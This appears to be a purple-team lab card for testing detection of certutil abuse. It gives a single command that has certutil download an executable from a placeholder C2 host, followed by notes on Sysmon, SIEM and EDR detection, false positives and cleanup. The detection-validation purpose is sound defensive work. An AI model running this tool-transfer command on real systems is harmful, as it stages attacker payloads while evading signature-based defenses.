Certutil download test

certutil -urlcache -f http://<c2>/file.exe out.exe

Download a file with certutil on the test host, validating detection of abuse of the legitimate binary to transfer tools.

Run it in the purple team lab when you want to validate detection of tool transfer via certutil: the command downloads the payload with the legitimate Windows binary (the classic LOLBAS) and the team verifies what was detected — Sysmon Event 1 (certutil with -urlcache), SIEM rules (certutil downloading), the EDR. It's the validation of living off the land in transfer: the legitimate tool that signatures don't see. In purple teaming, certutil validates the behavioral layer of tool download.

Do not run it outside the lab: the download generates real traffic — the test host is the place. And note: certutil is legitimate — detection relies on arguments (-urlcache -f with the URL) and context; validation measures those layers. Legitimate certutil use (certificate management) generates false positives: the validated rule is the download arguments one. Clean up the downloaded file when done.